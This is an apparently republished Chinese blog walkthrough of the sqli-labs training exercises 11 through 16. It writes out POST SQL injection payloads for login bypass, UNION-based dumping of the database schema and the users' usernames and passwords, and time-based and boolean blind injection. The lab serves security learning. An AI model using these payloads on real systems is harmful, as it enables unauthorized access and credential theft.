ICode9

精准搜索请尝试: 精确搜索
首页 > 数据库> 文章详细

sqli-labs Less11-Less16

2020-03-17 22:52:12  阅读:329  来源: 互联网

标签:uname admin #& submit labs sqli passwd Submit Less16


Lesson 11 POST -Error Based - Single Quotes (基于错误的POST型单引号字符型注入)

 

(1)先输入admin和admin进行登录

 

 

 

  sql语句为:

  SELECT username, password FROM users WHERE username='admin' and password='admin' LIMIT 0,1

 

 

 

(2)接下来的测试我们需要使用burpsuite,因为在执行登录操作时,我们并不知道进行了怎样的传输。其实是使用了PHP中的POST传输。

   A.先手动配置代理,打开burpsuite,点击”submit”,会进行抓包

 

 

   里面显示了详细的信息,我们只需要最后一句话

 

   B.将其复制,选择post data,粘贴到下面的框中。然后把burpsuite关闭即可

 

 

 

   C.进行测试

     uname=admin'&passwd=admin&submit=Submit

 

 

   在admin后加一个单引号,出现错误

 

  uname='&passwd=admin&submit=Submit

 

 

   将admin删掉,只留下单引号还是有错误,说明存在注入漏洞

 

 

  uname=admin' or 1=1#&passwd=admin&submit=Submit

  在admin’后加上or 1=1 #,再次执行,发现登录成功

 

  uname=' or 1=1#&passwd=admin&submit=Submit

 

 

   此时,把admin去掉,发现依旧能登录成功,验证确实存在注入漏洞

 

(3)以username为例进行验证,使用order by语句验证列数

     uname=' order by 3#&passwd=admin&submit=Submit

 

 

   返回错误,显示不存在三列

 

  uname=' order by 2#&passwd=admin&submit=Submit

 

 

   虽然登录失败,但是并没有返回错误,说明是两列

 

(4)判断完列数后,使用union select语句进行联合查询,查看回显位置

    uname=' union select 1,2#&passwd=admin&submit=Submit

 

 

   回显出位置

(5)接下来就是常规的查库,查表等一系列操作

    查询当前使用的数据库

    uname=' union select 1,database()#&passwd=admin&submit=Submit

 

 

   可以看到数据库为security

 

  查看所有库

  uname= ' union select 1,group_concat(schema_name) from information_schema.schemata#&passwd=admin&submit=Submit

 

 

 

(6)查看表

  uname= ' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#&passwd=admin&submit=Submit

 

 

 

(7)查看字段

  uname= ' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#&passwd=admin&submit=Submit

 

 

 

(8)查看用户和密码信息

 

    用户信息

    uname= ' union select 1,group_concat(username) from security.users#&passwd=admin&submit=Submit

 

 

 

  密码信息

  uname= ' union select 1,group_concat(password) from security.users#&passwd=admin&submit=Submit

 

 

 

(9)一次性查询数据的方法

 

 

 

 

 

 

 

  Lesson 11结束

 

 

Lesson 12 POST -Error Based - Double Quotes (基于错误的POST型双引号字符型变形注入)

 

 

(1)查询是否存在注入(将admin破坏,加上or 1=1#)

 

  uname='or 1=1#&passwd=admin&submit=Submit

 

 

   虽然没有成功登录,但是也没有返回错误

 

  uname=" or 1=1#&passwd=admin&submit=Submit

 

 

   将单引号改成双引号,发现有错误

 

  如何判断是单引号还是双引号,可以看回显的sql语句来观察

 

 

   包着admin的是双引号加一个单括号,所以就加双引号和一个单括号就行

 

 

 

 

测试成功

 

 

 

(2)接下来和上一课相同,不做展示,只是练习一下

 

 

 

 

  Lesson 12结束

 

 

 

 

Lesson 13 POST -Double injection - Single Quotes - String - twist (POST单引号变形双注入)

 

 

(1)先进行测试

 

  发现正常登录后,虽然有登录成功,但是并没有回显任何信息

 

 

 

(2)从测试可以看到,包裹着admin的是一个单引号和一个单括号。接下来直接测试即可

    uname=admin') or 1=1#&passwd=admin&submit=Submit

 

 

   也是什么都没有回显

 

(3)用union select语句进行联合查询,也不显示任何东西,这个时候就能证明是盲注,只有正确才会回显

 

(4)使用length()函数来猜解数据库长度

 

 

(5)使用if语句进行判断

 

 

  uname=adm') or if(length(database())>1,1,sleep(5))#&passwd=admin&submit=Submit

 

   然后进行猜测,测试数据,最后发现数据库长度为8

 

(6)然后判断第一个字母,使用left语句直接进行判断

 

 

 

 

  uname=adm') or left((select schema_name from information_schema.schemata limit 0,1),1)>'a'#&passwd=admin&submit=Submit

 

   以这种方法可以查出库的名字

 

  剩下就是查表,查列,查数据的基本操作了,也可借用burpsuite进行爆破,这里不再进行展示

 

 

  

  Lesson 13结束

 

 

 

 

 

 

 

Lesson 14 POST -Double injection - Single Quotes - String - twist (POST单引号变形双注入)

 

(1)先进行登录测试

 

  uname=admin&passwd=admin&submit=Submit

 

 只有成功登录但是并没有任何回显信息

和13关不同的是,13关包裹admin的是一个单引号和一个单括号,14关包裹admin的是双引号,其他的均相同,不做演示,只练习

 

 

 

 

  Lesson 14结束

 

 

 

Lesson 15 POST-Blind -Boolean-Time Based - Single Quotes (基于Bool型/时间延迟的单引号POST型盲注)

 

(1)先测试

  与13,14课差不多,只是包裹admin的符号不同,只不过这个是单引号

 

 

 

  Lesson 15结束

 

 

Lesson 16 POST-Blind -Boolean-Time Based - Double Quotes (基于Bool型/时间延迟的双引号POST型盲注)

 

  先测试

 

   这关是双引号和单括号进行包裹,其他与13关相同

 

 

 

 Lesson 16结束

 

 

 

标签:uname,admin,#&,submit,labs,sqli,passwd,Submit,Less16
来源: https://www.cnblogs.com/zhaihuijie/p/12514256.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有